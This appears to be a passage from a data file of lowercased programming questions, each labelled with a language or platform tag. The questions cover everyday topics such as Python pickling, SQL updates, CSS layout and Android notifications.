</code></pre>   expected output: <code>the nsa knows what you did last summer. but no one  in the nsa or outside it  knows why they should.</code>    actual output: <code>the nsa knows what yo</code>    i have been asked how the pickled file is made. it is done with pickle.dump in this function:   <pre><code>def make_fortune_data_file(fortune_file  quiet=false):             create or update the data file for a fortune cookie file.     :parameters:         fortune_file : str             path to file containing fortune cookies         quiet : bool             if ``true``  don t display progress messages             fortune_index_file = fortune_file +  .dat      if not quiet:         pass         #print ( updating  %s  from  %s ...  % (fortune_index_file  fortune_file))      data = []     shortest = sys.maxsize     longest = 0     for start  length  fortune in _read_fortunes(open(fortune_file   ru )):         data += [(start  length)]         shortest = min(shortest  length)         longest = max(longest  length)      fortuneindex = open(fortune_index_file  wb )     pickle.dump(data  fortuneindex protocol=4 fix_imports=true)     fortuneindex.close() </code></pre>,python
object initialization in a method  is there a difference from pov performance / memoryusage initializing a object before  or after a return condition  like in the  sample :   <pre><code>function foo() as complexobject        is there a difference             a         dim obj as new complexobject()         if condition then return nothing        is there a difference                     b       dim obj as new complexobject()     ...     return obj  end function </code></pre>,.net
why is there an frame rectangle and an bounds rectangle in an uiview   well although it s late in the dark night  i don t get it why there are two different rectangles: frame and bounds.     like i understand it  one single rectangle would have been just enoug to do everything. positioning the view itself relative to another coordinate system  and then clipping it s content to a specified size. what else would you do with two rectangles  and how do they interact with eachother     does anyone have a good explanation  the one from the apple docs with the kid holding the fruit is not pretty good for understanding.,iphone
tribonacci sequence  i am trying to solve <a href= https://www.codewars.com/kata/tribonacci-sequence/train/csharp  rel= nofollow noreferrer >this exercise</a>:   <pre><code>public class xbonacci {     public double[] tribonacci(double[] signature  int n)     {         double[] r = { 0 };         if (n==0)         {             return r;         }          list&lt;double&gt; t = new list&lt;double&gt;();          for (int i = 0; i &lt; signature.length; i++)         {             t.add(signature[i]);         }          for (int i = 1; i &lt; n-2; i++)         {             t.add(t[i]+t[i+1]+t[i-1]);             }          return t.toarray();      } } </code></pre>   it works with the test given  but still i cannot pass the final checking. any pointers what i am doing wrong,c#
converting to date (18 jun 2006)  i have this date that i m getting from xml     <blockquote>    2009-11-05t02:15:03.000z  </blockquote>   how would i change it to    <blockquote>    11 may 2009  </blockquote>   i found a way to remove the .000z so i only have this left   <blockquote>    2009-11-05t02:15:03  </blockquote>   any help is greatly appreciated,objective-c
tryupdatemodel - why does it update two objects   i have method called after update item in grid:   <pre><code>public void gridview1_updateitem(int noteid) {     notes itemtoedit = context.notes.firstordefault(x =&gt; x.noteid == noteid);     notes originalitem = context.notes.firstordefault(x =&gt; x.noteid == noteid);      tryupdatemodel(itemtoedit); //it should update only object itemtoedit } </code></pre>   why <code>tryupdatemodel(itemtoedit)</code> updates also object originalitem  object originalitem has new values from form but it should have old values.,asp.net
i am helping to fix a php site that has many unwanted links index.php/[unwanted_links]  a friend has a php site that somehow has many unwanted links that shows up in the site in some situation.      below i will use  site  to refer to the site domain.   <pre><code>site redirects to site/greetings/ (a laravel site) </code></pre>   there are many sections linked from a list of menu.   <pre><code>site/greetings/all site/greetings/new site/greetings/birthday site/greetings/newyear ... </code></pre>   in some situation  in the list of menu on the site  the top 3 items are replaced with the following links.   <pre><code>site/greetings/index.php/online-dating-reality/ site/greetings/index.php/dating-for-you/ site/greetings/index.php/dating-services-in-tampa-fl/ </code></pre>   a user reported this when he is using an android 7.1.1 tablet and chrome browser.  we are not able to reproduce the problem with our table and phones  but the links do show up in google search when we search on them.    we are not able to find the links in the code. how do i go about fixing this problem   any help is much appreciated!,php
how to find element based on data-attribute with this existing js code example   i want to target a specified div  but my example for now is only when it has an id. i want to use pure javascript    current:       <pre><code>&lt;div id= my_id &gt;hello&lt;/div&gt;  &lt;script&gt; document.getelementbyid( my_id ).insertadjacenthtml( beforebegin        &lt;h3&gt;text&lt;/h3&gt; ); &lt;/script&gt; </code></pre>   my case:   <pre><code>&lt;div data-foo= bar &gt;hello&lt;/div&gt; &lt;div data-foo= club &gt;hi&lt;/div&gt; </code></pre>   how can i target the div that has the <code>bar</code> data-foo attribute,javascript
put nested div to left side of screen  lets say i have 2 divs:   <pre><code>&lt;div id= divouter &gt;     &lt;div id= divinner &gt;&lt;/div&gt; &lt;/div&gt; </code></pre>   let s also say that the outer div is about 3/4 down the page  centered on the screen (horizontally)  and has a width of 200px.  obviously the inner div would be initially at this position.  how can i keep the inner div at the same vertical position (which is currently is)  but move it all the way to the left of the screen,html
html safety fix for broken imported html content   im importing html into my page via an xml feed. if the content has an unclosed or unopened div (see below) it completely messes up the page.     <pre><code>&lt;div&gt;stuff&lt;/div&gt; &lt;div&gt;stuff&lt;/div&gt; &lt;/div&gt; </code></pre>   or   <pre><code>&lt;div&gt; &lt;div&gt;stuff&lt;/div&gt; &lt;div&gt;stuff&lt;/div&gt; </code></pre>   i know the best solution is to work on the php parsing  which im currently looking at. however as a backup or incase i cant find a php solution  is there an html fix      i tried enclosing the entire imported area as a fieldset  ul and li  and span. i hoped this would effectively close any open divs  but none of them worked. thanks,html
when switch from view a to view b  what happen to view controller of a   i am confused by this. it seems the view controller of a is not deallocated when i perform the segue from view a to view b.     when will view controller of a be deallocated in the memory  can i still accessed the content in view controller of a in the view controller of b,ios
asp.net tryint to write to file on server  i m trying to write to a file on my website. but when trying to open the file using this line: filename = hostingenvironment.applicationphysicalpath +  lala.htm ;    i get this exception: (it gets to the right path  but still doesn t allow me to write to it)    access to the path  <strong>d:\dzhosts\localuser\asafz83\www.asafz83.somee.com\lala.htm</strong>  is denied. description: an unhandled exception occurred during the execution of the current web request. please review the stack trace for more information about the error and where it originated in the code.    exception details: system.unauthorizedaccessexception: access to the path  d:\dzhosts\localuser\asafz83\www.asafz83.somee.com\lala.htm  is denied.    asp.net is not authorized to access the requested resource. consider granting access rights to the resource to the asp.net request identity. asp.net has a base process identity (typically {machine}\aspnet on iis 5 or network service on iis 6) that is used if the application is not impersonating. if the application is impersonating via   the identity will be the anonymous user (typically iusr_machinename) or the authenticated request user.    to grant asp.net access to a file  right-click the file in explorer  choose  properties  and select the security tab. click  add  to add the appropriate user or group. highlight the asp.net account  and check the boxes for the desired access.    source error:    an unhandled exception was generated during the execution of the current web request. information regarding the origin and location of the exception can be identified using the exception stack trace below.    stack trace:    [unauthorizedaccessexception: access to the path  d:\dzhosts\localuser\asafz83\www.asafz83.somee.com\lala.htm  is denied.]    system.io.__error.winioerror(int32 errorcode  string maybefullpath) +7716639    system.io.filestream.init(string path  filemode mode  fileaccess access  int32 rights  boolean userights  fileshare share  int32 buffersize  fileoptions options  security_attributes secattrs  string msgpath  boolean bfromproxy) +1162    system.io.filestream..ctor(string path  filemode mode  fileaccess access  fileshare share  int32 buffersize  fileoptions options) +65    system.io.streamwriter.createfile(string path  boolean append) +62    system.io.streamwriter..ctor(string path  boolean append  encoding encoding  int32 buffersize) +58    system.io.streamwriter..ctor(string path  boolean append) +33    class1.httpfilter.init(httpapplication context) in c:\documents and settings\אסף אזולאי\my documents\visual studio 2008\projects\website6\class1\httpfilter.cs:50    system.web.httpapplication.initmodulescommon() +65    system.web.httpapplication.initmodules() +43    system.web.httpapplication.initinternal(httpcontext context  httpapplicationstate state  methodinfo[] handlers) +729    system.web.httpapplicationfactory.getnormalapplicationinstance(httpcontext context) +298    system.web.httpapplicationfactory.getapplicationinstance(httpcontext context) +107    system.web.httpruntime.processrequestinternal(httpworkerrequest wr) +289    help please... anyone...,asp.net
execute query using time hour in console application c#  i want to truncate table using console application with parameter hour. for example  i want to run query truncate at 12.00 am using time in system.    this is my code in console application using c#.   <pre><code>namespace consoleapplication1 {     class program     {         static void main(string[] args)         {                         string gethour = datetime.now.tostring( h:mm:ss tt );              if (gethour ==  12:00:00 am )             {                 console.writeline( do action to run query truncate );                 //in this line i will execute query truncate.             }                      // keep the console window open in debug mode.             console.writeline( press any key to exit. );             console.readkey();         }      } } </code></pre>   and this is not working. please give me solution or sample code to fix my problem. thanks...,c#
match values in a multidemsional array  i would like to search an array for one value in a key and return the content from another key in the same array.  like this:   <pre class= lang-php prettyprint-override ><code> $cars = array   (   array( brand  =&gt;  volvo   color  =&gt; 22)    array( brand  =&gt;  bmw   color  =&gt; 15)    array( brand  =&gt;  saab   color  =&gt; 5)    array( brand  =&gt;  land rover   color  =&gt; 17)   );  // not working  just to clarify my intention if($cars[ brand ] ==  bmw ) {echo $cars[ color ];} </code></pre>   in this example  15 should be echoed. how can this be accomplished,php
label control top border is not adjusting  i have a label control in tabel cell and with css on hover i have set the top border or red color.problem is that the poistion of top border is showing distance bewtween border as like in my image attached with question    <img src= https://i.stack.imgur.com/igijb.png  alt= enter image description here >    if you see then the red border is not like a square cornered and also showing a blank top space on top of it.i have much tried to remove this but i failed.please anyone help me to make the border corners equal and also black space should like this second image.in short i want to make border like this image       <img src= https://i.stack.imgur.com/kcoag.png  alt= enter image description here >    my css code is bellow   <pre><code>#sddmca div {   position: absolute;     visibility: hidden;     margin: 0;     padding: 0;     background: #444444;     border: 1px solid #959595;     border-top-color:#464646;     margin-top:1cm;  </code></pre>   and label control code is here   <pre><code>&lt;ul id= sddmca &gt; &lt;asp:label id= ca    runat= server  font-names= arial  font-size= 10pt  forecolor= #cccccc  style= margin-top:auto;  height= 100%  text= current activities          onmouseover= var b = changecolorca();  hideshow(this);   this.style.cursor= pointer ; boldca();    return b                                      onmouseout= var b = mclosetime();   return b;  onclick= var a = mopen( m11 ); this.style.background= #464646 ; this.style.color= #ffffff ; this.style.borderbottomcolor = #464646 ; this.style.borderrightcolor = #464646 ; this.style.borderleftcolor = #464646 ;  return a   &gt;&lt;/asp:label&gt;&amp;nbsp;&amp;nbsp; </code></pre>,css
how to validate multiple uploaded file using php   i am using php to upload multiple file to the database. so when i check file extension its always showing me my given error message even if file extension is correct:    <blockquote>    file type is not allowed  we accept only .jpg  .png and .gif extension   file  </blockquote>   <strong>here is the validation :</strong>    <pre><code>$total = count($_files[ client_doc ][ name ]);                   for($i=0; $i&lt;$total; $i++) {     $file_name = htmlspecialchars($_files[ client_doc ][ name ][$i]);     $file_tmp =  htmlspecialchars($_files[ client_doc ][ tmp_name ][$i]);     $file_size = htmlspecialchars($_files[ client_doc ][ size ][$i]);     $file_ext = explode( .   $file_name);     $file_ext = strtolower(end($file_ext));     $allowed_type =  array( jpg    jpeg    gif    png ); }  if(!empty($file_name)) {     if(!in_array($file_ext  $allowed_type)) {         $msg[] =  file type is not allowed  we accept only .jpg  .png and .gif extension file ;         $msg[ error ] = true;     }elseif($file_size &gt; 2097152) { // only 2 mb size is allowed         $msg[] =  uploaded file name must be less than 2mb ;         $msg[ error ] = true;                                 } } </code></pre>,php
no response of button in headerview of uitabview  i creat a viewcontroller with a tabview use xib and i add a button in headerview of the tabview.but when i click the button no response.check out the userinterfaceenabled is ture.why,ios
what happens after submitting an ios app for review   i have been looking around for an answer for a specific question but just got hints for it here and there. i want to know when i submit an app for review for the appstore:    first  how long does the review process usually take  i know that it may vary but just want to have rough estimate if possible    second  when an app is accepted does it go automatically to the app store or the developer has the control over when to release it there     cheers af,iphone
toggle div based on checkbox value  i m not sure how to accomplish this. what i want to do is to hide a div based on a checkbox value. this is my code for the toggle.    appreciate any help   <blockquote>    .always is the checkbox  </blockquote>  <pre><code>$(document).ready(function () {             $( .always ).click(function () {                                 $( #dates ).toggle();             });         }); </code></pre>,jquery
how to save image and data locally in iphone device  i am getting image and some details from .net web server.    i need to store these details in iphone device memory(not in sdcard) because i need to connect web services only one time that is at installing my app.    from next time onwards i need to get data from device.    i have some knowledge in java in java i use files to store image and hash table to store details.    i found this to <a href= http://blog.objectgraph.com/index.php/2010/04/05/download-an-image-and-save-it-as-png-or-jpeg-in-iphone-sdk/  rel= nofollow >store image</a>    it shows path    <pre><code>/users/appleuser/library/application support/iphone simulator/4.0.1/applications/14ed40d5-321e-4519-bdea-77757589f8f7/documents </code></pre>   but is it save in device or only in notebook.    how can i done this in iphone.    can any one pls help me.    thank u in advance.,iphone
why does box 3 lose its width  height and background as soon as box 2 is floated   why does a box 3 lose its width  height and background as soon as box 2 is floated (comment is uncommented)    <pre><code>&lt;style&gt;   .div1 {      width: 10em;      height: 10em;      background: lightblue;   }   .div2 {      /*float: left;*/      width: 10em;      height: 10em;      background: lightyellow;   }   .div3 {      width: 10em;      height: 10em;      background: lightgreen;   } &lt;/style&gt;   &lt;div class= div1 &gt;box1&lt;/div&gt; &lt;div class= div2 &gt;box2&lt;/div&gt; &lt;div class= div3 &gt;box3&lt;/div&gt; </code></pre>,css
explain the use of below function with meaning in iphone  i m confused to use following methods and i want the clear meaning of all so that i can use that perfectly in my project   <ol> <li><code>-(void)viewwillappear</code></li> <li><code>-(void)viewwilldisappear</code></li> <li>-<code>(void)viewdidload</code></li> <li><code>-(void)viewdidunload</code></li> <li><code>-(void)viewdidappear</code></li> <li><code>-(void)viewdiddisappear</code></li> </ol>   please can any body who knows these very well then please help me.    thanks in advance,iphone
how to use subprocess piping in python  i have this:   <pre><code>$ cat waitforinput.sh   #!/bin/sh while read line do     echo $line done                     </code></pre>   i do this:   <pre><code>&gt;&gt;&gt; p1 = subprocess.popen( /home/abc/waitforinput.sh   shell=true  stdin=subprocess.pipe  stdout=subprocess.pipe)  &gt;&gt;&gt; for i in xrange(1000): ...     p1.stdin.write( this is a good idea ) </code></pre>   but when i do this now  i see no output:   <pre><code>&gt;&gt;&gt; for i in p1.stdout: ...     print i ...  </code></pre>   what am i doing wrong,python
using date picker control how to enable particular days  using date picker control i want to enable saturday only and remaining dates should be disabled.,asp.net
html listbox with vertical scrollbar  i want to create listbox in webpage . the listbox whould have a vertical scrollbar; but only one item should be alowed to select;    i can get this kind of listbox with  applepineapplemango   this gives me exactlyy a listbox with vertical scrollbar  when no of items in list box are too many. but it allows to select multiple items. i want only one item to get selected    thanks for any help or suggestions in advance,html
overload += operator for two differents private attributes  is it possible to overload the += operator for two differents private attributes in a class      i m trying to do something like this :   <pre><code>const int &amp;test::operator+=(const int &amp;rhs) {    *this = *this + rhs;    return *this; } </code></pre>   here is my class :   <pre><code>class test {    private:       int _n;       int _n2;    public:       int getn();       void setn(int n);       int getn2();       void setn2(int n);       const int &amp;operator+=(const int &amp;rhs); } </code></pre>,c++
trigonometry calculator radians to degrees and vice versa in .net  i m quite new to programming and was unable to find an answer on these forums to the question i have.    i am using vb.net and i want to put together a program that can convert degrees to radians (and vice versa)  while the angle is calculated.    so in other words  there are two text boxes and  one button. the button is  sin x.  the text boxes have labels next to them:  degrees  and  radians.     let s say you enter a value for degrees and click  for example   sin x.  from there  the program takes the value you entered  converts it to radians  calculates the sin of that converted value  and showcases it in the  radians  text box. the idea is for you to also be able to put in a value inside the  radians  text box  the program converts it to degrees  takes the sin of converted value  and outputs it on the  degrees text box.     i succeed in getting degrees converted to radians  calculated  and put out on the radians text box  however i have hit a brick wall and am confused as to how i can have values be put in the radians text box  converted to degrees  and put out on the degrees text box.    here s the code i have so far:   <pre><code>public class trigonometryconverter      private sub btnsin_click(sender as object  e as eventargs) handles btnsin.click         dim input  input2 as double         dim output  soutput  output2  soutput2 as double         const cfactor as double = (math.pi) / 180         input = convert.todouble(tbxd.text)         input2 = convert.todouble(tbxr.text)         output = input * cfactor         output2 = input2 / cfactor         soutput = math.sin(output)         soutput2 = math.sin(output2)         tbxr.text = convert.tostring(soutput)         tbxd.text = convert.tostring(soutput2)      end sub end class </code></pre>   tbxd.text is the text box where  degrees  values are put in and out. tbxr.text is the text box where  radian  values are put in and out.    the program with the code above does not work at all  however  i can have the program work partially where degrees switch to radians  are calculated  and put out if i use the code below:   <pre><code>public class trigonometryconverter      private sub btnsin_click(sender as object  e as eventargs) handles btnsin.click         dim input as double         dim output  soutput as double         const cfactor as double = (math.pi) / 180         input = convert.todouble(tbxd.text)         output = input * cfactor         soutput = math.sin(output)         tbxr.text = convert.tostring(soutput)      end sub end class </code></pre>   tl;dr version: i have a program and want to have both text boxes take in values input and put out calculated values.    any suggestions/solutions  thanks!,.net
texts inside div looking like para  i have texts inside div like below..    css   <pre><code>&lt;div class= textwidget  style= white-space: nowrap; &gt;  mortgage basics mortgage 101 glossary mortgage cal…  &lt;/div&gt; </code></pre>   but in my output it looks like--     output    mortgage basicsmortgage 101glossarymortgage cal    how can i bring back one by one using css,css
c# - how do i round a decimal value to 2 decimal places. with   every 1000  so always add a comma and have it to two decimal places  <code> f </code> nearly works but can t find the right solution   <pre><code>decimal = 1000.5  test.text = decimal.tostring( f ) </code></pre>   i ve also tried:   <pre><code>string.format( {0:# ###.##}   decimal); </code></pre>   i want to display as the string as <code>1 000.50</code>,c#
asp:textbox displays question marks instead of kanji/japanese characters characters  i have an aspx page which consumes a siebel webservice and gets kanji characters from siebel on demand. this shows as a series of question marks in the aspx textbox. this cannot be a data error from the backend as the other applications get proper kanji characters from siebel. also  i have installed east asian languages from control panel and added [ja-jp] language under languages tab of internet explorer 7. also  i have added      <strong>globalization requestencoding= shift-jis  responseencoding= shift-jis </strong>  to my web.config and have also tried changing  shift-jis  to  utf-8  in the above line  but no difference. i have also saved my aspx page and its code-behind pages with unicode (utf-8 with signature) encoding  but find no change in the characters displayed in the textbox.    please help.,asp.net
passing a constant reference is the same as creating a temporary constant copy  so why pass a constant reference   the point of passing by reference  i thought  was to pass in the actual variable either to save time or to modify the variable. thus -- and this is going to make me sound stupid -- i used to think that passing a constant reference somehow temporarily changed the passed-in variable to a constant (if it wasn t already) and then changed it back to a non-constant (unless it was constant to begin with) when the function was done executing. i just learned today when i was reading <em>c++ primer</em> that passing in a constant reference creates a temporary constant variable. that is     <pre><code>foo(const type&amp; obj)  </code></pre>   is the same as    <pre><code>foo(const type obj) </code></pre>   because they both create a constant object <code>obj</code> and set it equal to whatever is passed in.     so what s the point of passing by constant reference    what s the point of references anyways  they re the same thing as pointers  except that they need to be initialized and are thus less useful.,c++
which tab control does visual studio 2008 use   which tab control does vs 2008 use and is it possible to reference and use it in c# projects   i have not been able to find anything on the web about it  but admittedly  vs2008 tab control  is a bit generic.    it s a great tab control and i would love to leverage it in my own projects.,c#
reading call history in iphone os  i m doing some research on the feasibility of an iphone application  and can t find any indication in apple s documentation that an iphone app can read the call history of the phone  specifically the number/address book entry called  when  and the duration.    does anyone know if this is possible  and how     note: the purpose is to remove the need for the user to perform this data-entry themselves. the application is for recording interactions with customer service centers.,iphone
mysql update with group by and variable  i want to update a table but need to group by a shop name. i want all grouped entries with the same shop name to get updated with the same id. all other shops should get an own id.    so that s what i tried:   <pre><code>set @row_number:=0;  update `table 75` as t1 inner join (select search_shop from `table 75` where sap_id =    group by search_shop) as t2 on t1.search_shop = t2.search_shop set sap_id = concat( xx  @row_number:=@row_number+1) </code></pre>   with this query every entry get s an own id - even the ones that have the same name.    so i want something like this:   <pre><code>shop_name - sap_id sm_name_1 - xx1 sm_name_2 - xx2 sm_name_2 - xx2 sm_name_3 - xx3 </code></pre>   and so on.    thanks for the help in advance! :),mysql
how can i track the parcel (australia post) once button is clicked in c#   i m trying to program a tracking system in c# (a windows application.) what i m trying to do is once button is clicked  ie (or chrome) is opened  and track the items with numbers in the textbox automatically. the site is <code>http://drc.edeliver.com.au/track/</code> in the australia post page  i want my number in the <code>*enter tracking number*</code> automatically. is it possible,c#
remove web address from string  input is     <pre><code>catch up on all episodes and series at channelchooser.  .channelchooser.com/ - cached - similar   </code></pre>   i want to the remove web address and terms like cached similar.i need to extract only text.       thanks in advance,java
multiple proximity intents  i am doing an application on lbs what i want to do is to make a popup if the user is within one km of a specific geo point.    the code i used is    <pre><code> intent intent = new intent(prox_alert_intent);     pendingintent proximityintent = pendingintent.getbroadcast(this  0  intent  0);      locationmanager.addproximityalert(         latitude  // the latitude of the central point of the alert region         longitude  // the longitude of the central point of the alert region         point_radius  // the radius of the central point of the alert region  in meters         prox_alert_expiration  // time for this proximity alert  in milliseconds  or -1 to indicate no expiration          proximityintent // will be used to generate an intent to fire when entry to or exit from the alert region is detected    ); </code></pre>   throgh this i can set alert for one location i want to create it for multiple locations.,android
mysql update statement  i have 2 tables  calls and accounts. individual  calls  have parent  account  and both tables have an  assigned user  column so that calls and accounts can be assigned to specific people. in the process of out database cleanup  we want to set the assigned user of each call to the assigned user of the corresponding account. unfortunately we don t have a test database to work with and i wanted to run this update statement by everyone here to make sure it would not have an undesired results. my only fear is that the set statement would perhaps set the same user for all of the calls instead of pulling the assigned user for each one. here it is:   <pre><code>update      from calls as c     inner join accounts as a on c.parent_id=a.id set c.assigned_user_id=a.assigned_user_id where c.status= planned  </code></pre>   c.status is simply a flag to only change future ( planned ) calls not the ones in the past    my fear is that if i have account a assigned to x and account b assigned to y and account c assigned to z that when the update executes  they ll all get assigned to z instead of the corresponding account user. am i correct or just overthinking this  essentially  are updates handled as one big batch or is each row evaluated individually,mysql
c++ char[100] =  hello  doesn t work  is there a better  shorter  easier to read version of the following code:   <pre><code>char ar[100];  int main() {     //ar =  hello ; doesn t compile     ar[0] =  h ;     ar[1] =  e ;     ar[2] =  l ;     ar[3] =  l ;     ar[4] =  o ;     ar[5] =  \x00 ;     return 0; } </code></pre>   note: the type of <code>ar</code> has to be <code>char[100]</code>. the  real  program is:   <pre><code>#include &lt;string&gt; #include &lt;cstdarg&gt;  #define to_string_buf_size 100  char tostringbuf[to_string_buf_size];  std::string tocptr_(const char * format  ...) {   va_list argzeiger;   va_start(argzeiger  format);   int16_t ret = vsnprintf(tostringbuf  to_string_buf_size  format  argzeiger);   if(ret &gt;= to_string_buf_size - 1) {     //tostringbuf =  buffer too small ;   } else if(ret &lt; 0) {     //tostringbuf =  encoding error ;   }   va_end(argzeiger);   std::string returning(tostringbuf);   return returning; } </code></pre>,c++
local declaration of tableview hides instance variable   i understand why i get the warning in the title when i define my own tableview property in my own class and then use a local variable name tableview.     what i want to know is why don t i get this warning when i derive my class from uitableviewcontroller  which has it s own tableview property  does the compiler/editor only look at my class and not the parent class,objective-c
word count limit in angularjs(front page in bootstrap)  i want to apply word count in angular js (eg in text box   i am good   word count should be 3 ) and i also want to limit the word count  please help    thanks in advance,angularjs
sql ordered filtering from multiple columns  i have a table below  being used by both mysql and sqlite  it is sorted by columns a  b  c in ascending order:   <pre><code>   # |  a   |  b   |   c   --------------------------    0 |  40  |  55  |  blue    1 |  60  |  65  |  red    2 |  60  |  65  |  rose    3 |  60  |  65  |  yellow    4 |  80  |  21  |  green    5 |  85  |  12  |  blue </code></pre>   i want to figure out the  next  row after any given row. for example  if i m looking at row #2:   <pre><code>a=60  b=65  c= rose  </code></pre>   i want to be able to figure out that row #3 is the next one (i don t have the # ids to use in my case).    my naive approach is this:   <pre><code>select * from table where      (a &gt;= 60 and b &gt;= 65 and c &gt;  rose ) or      (a &gt;= 60 and b &gt; 65) or      (a &gt; 60)      order by a  b  c asc      limit 1 </code></pre>   is there a better way to do this     thanks,sql
error: can not set final int field java.lang.integer.value to java.lang.class  i m new to java and currently using practicing reflection.    i have this code:   <pre><code>try {     class&lt; &gt; c = integer.class;     system.out.println( name:   + c.getname());          system.out.println( super class:   + c.getsuperclass().getname());      class[] cl = c.getinterfaces();     system.out.println( interfaces list:  );     for(class cls: cl)     {         system.out.println(cls.getname() +     );     }      system.out.println(  );     int i = c.getmodifiers();     system.out.println( access modifiers:   + modifier.tostring(i));      //-----------     system.out.println( \nmethods );             method[] ms = c.getdeclaredmethods();     for(method m: ms)     {         system.out.println( name:  + m.getname());      }             //------------     system.out.println( \nfields );     field [] flds = c.getdeclaredfields();     for(field f: flds)     {         system.out.println( name:  + f.getname());         system.out.println( data type:   + f.gettype().getname());          i = c.getmodifiers();         system.out.println( acc modifiers:   + modifier.tostring(i));           f.setaccessible(true);           object value = f.get(c);          if (value != null)           {             system.out.println(f.getname() +  =  + value);          }         system.out.println( -------------- );     }      }     catch(throwable e)     {         system.out.println( error:   + e.getmessage());      }   } </code></pre>   however  it gives me error for field  value  which is mentioned in the title. kindly explain the error  and also tell why do we have to write   f.setaccessible(true);   (i saw over the internet) what is its purpose,java
infinite loop while printing a graph  i am trying to print all the vertices and their edges in a graph. i have used adjacency list representation for the graph. my code is    <pre><code>#define max 1000  struct node {     int data;     struct node *next; };  struct node *arr[max];   void printgraph(int n) {     // n is the number of vertex      int i;     for(i=0;i&lt;n;i++)     {         printf( the vertex %d is connected to );          if(arr[i]-&gt;next==null)             printf( no edges );         else         {             struct node *tmp;             for(tmp=arr[i];tmp!=null;tmp=tmp-&gt;next)                 printf( %d  tmp-&gt;data);         }         printf( \n );     } } </code></pre>   whenever i call the <code>printgraph</code> method  my program goes into an infinite loop. where could be the error     <hr>   <code>i am adding my other methods. please check them to see if i am properly creating a graph</code>   <hr>  <pre><code>void createemptygraph(int n) {  // n is the number of vertices int i;  for(i=0;i&lt;n;i++) {     struct node *n;     n=(struct node *)malloc(sizeof(struct node));      n-&gt;data=i;     n-&gt;next=null;      arr[i]=n; }  printf( \nan empty graph with %d vertices has been sreated  n); printf( \nno edge is connected yet ); }  void addnode(int startvertex int endvertex) {  // for directed edges struct node *n; n=(struct node *)malloc(sizeof(struct node)); n-&gt;next=arr[startvertex]; arr[startvertex]-&gt;next=n;   printf( \nan edge between directed from %d to %d has been added  startvertex endvertex); } </code></pre>,c
fatal error: access to undeclared static property: staticmethod::$a <pre><code>class staticmethod {  public $a=10;  public $b=20;      public static function sum(){         return (self::$a+self::$b);     } }  echo staticmethod::sum(); </code></pre>,php
html can not show image  how to write image path   an image is displayed correctly if i save the image in the same folder with the html file.   <pre><code>&lt;div class= screenshot &gt;&lt;img src= app.png  alt= this is a screenshot &gt;&lt;/div&gt; </code></pre>   if i save the image into a different folder called images (parallel level folder with the html folder)  then the image can not be displayed.   <pre><code>src= images/app.png  </code></pre>   the problem must be the wrong path  so what is the problem in above path,html
4 digit random number c++  im trying  to do 4 digit random number at the moment have this   <pre><code>class passwordguessinggame { private:      int number = rand() % 9000 + 1000; public:      int getnumber() {         return number;         }  }; </code></pre>   but get random number that doesn t make sense can anyone help me  i m new into this.,c++
sql - how to get previous value and nexrt vale in rows in mysql  <pre><code>create table office(rec_id varchar(10) curr_off varchar(10) orderflag int);   insert into office values ( a1   a11  1)  ( a1   a12  2)  ( a1   a13  3)  ( a1   a14  4)  ( b1   b11  1)  ( b1   b12  2)  ( b1   b13  3)  ( b1   b14  4)  ( c1   c11  1)  ( c1   c12  2)  ( c1   c13  3)  ( c1   c14  4); </code></pre>   union query   <pre><code>select rec_id curr_off orderflag from office a1 where rec_id = ‘a1’ union select rec_id curr_off orderflag from office a1 where rec_id = ‘b1’ union select rec_id curr_off orderflag from office a1 where rec_id = ‘c1’ order by rec_id orderflag desc; </code></pre>   expected result    <pre><code>rec_id  curr_off    order_flag  pre_off next_off   a1      a14            4         a13     null   a1      a13            3         a12     a14   a1      a12            2         a11     a13   a1      a11            1         null    a12   b1      b14            4         b13     null   b2      b13            3         b12     b14   b3      b12            2         b11     b13   b4      b11            1         null    b12   c1      c14            4         c13     null   c2      c13            3         c12     c14   c3      c12            2         c11     c13   c4      c11            1         null    c12    </code></pre>   how can i get the result set like this  this is dummy data where i have to apply logic for more union quieris and i can not extend unions and reduce also.,mysql
retrieve maximum number from alphanumeric column  please can someone help me with sql query how to get maximum number from an alphanumeric field. below is the code field. as you can see i want to retrieve the highest number for oss which is 120. thanks in advance.   <pre><code>asg1 asg10 asg14 asg2 asg21 asg4 lts1 lts10 lts14 lts2 lts21 lts4 oss1 oss10 oss100 oss11 oss114 oss120 oss2 oss21 oss3 oss4 oss5 oss6 oss7 </code></pre>,sql
rails session start event handler  i need to do some stuff when ever a new session starts for a user. which is that is the right place to do it in rails  i am looking for something similar to session_start for asp.net in global.asax.     in asp.net there is handler    <pre><code>session_start() {    // this will be executed everything when a new users visits the site very first time.  } </code></pre>,ruby-on-rails
how many types of asp.net web sites  i dont know how many types of asp.net websites.    ie. asp.net webiste types of categories.    give me the deatiled information.    eg: content based website....    thanks,asp.net
android notifications cancel  i have been working on android notifications and it works fine. the problem i have is that when i cancel notifications with <code>manager.cancel()</code> or <code>manager.cancel(id)</code> and another notification arrives  the previously canceled notifications are also shown yet i want them canceled forever  please help. below is my code.   <pre><code> private void sendnotification(string msg) {           intent intent = null;         if(request_id != null)         {             intent = new intent(ctx  payapp.class)                     .putextra( fragment    transactions )                     .putextra( request_id   request_id)                     .putextra( notificationid   notification_id);         }         else         {             intent = new intent(ctx  payapp.class).putextra( fragment    transactions );         }          intent.addflags(intent.flag_activity_clear_top);          mnotificationmanager = (notificationmanager)                 ctx.getsystemservice(context.notification_service);          pendingintent contentintent = pendingintent.getactivity(ctx  0                  intent  pendingintent.flag_one_shot);          counter = notificationcounter.incrementandget();         uri defaultsounduri = ringtonemanager.getdefaulturi(ringtonemanager.type_notification);         notificationcompat.builder mbuilder =                 new notificationcompat.builder(ctx)                         .setsmallicon(r.mipmap.ic_launcher)                         .setsound(defaultsounduri)                         .setautocancel(true).setnumber(counter)                         .setcontenttext(msg)                         .setpriority(notification.priority_max)                         .setcolor(contextcompat.getcolor(ctx  r.color.intel_blue_deeper))                         .setcontenttitle( xente agency );          notificationcompat.inboxstyle inboxstyle = new notificationcompat.inboxstyle(mbuilder);          inboxstyle.setbigcontenttitle( xente agency );         messagelist.add(msg);         for(string m : messagelist)        {            inboxstyle.addline(m);        }          mbuilder.setstyle(inboxstyle);         mbuilder.setcontentintent(contentintent);         mnotificationmanager.notify(notification_id  mbuilder.build());      } </code></pre>   and i cancel it from the fragment that it opens on click   <pre><code>if(getarguments() != null)         {             request_id = getarguments().getstring( request_id );             notification_id = getarguments().getint( notificationid   0);              if(notification_id == 1)             {                 notificationmanager manager = (notificationmanager)getactivity().getsystemservice(context.notification_service);                 //this also does not work                 //manager.cancel(notification_id)                 manager.cancelall();                 notification_id = 0;             }         } </code></pre>,android
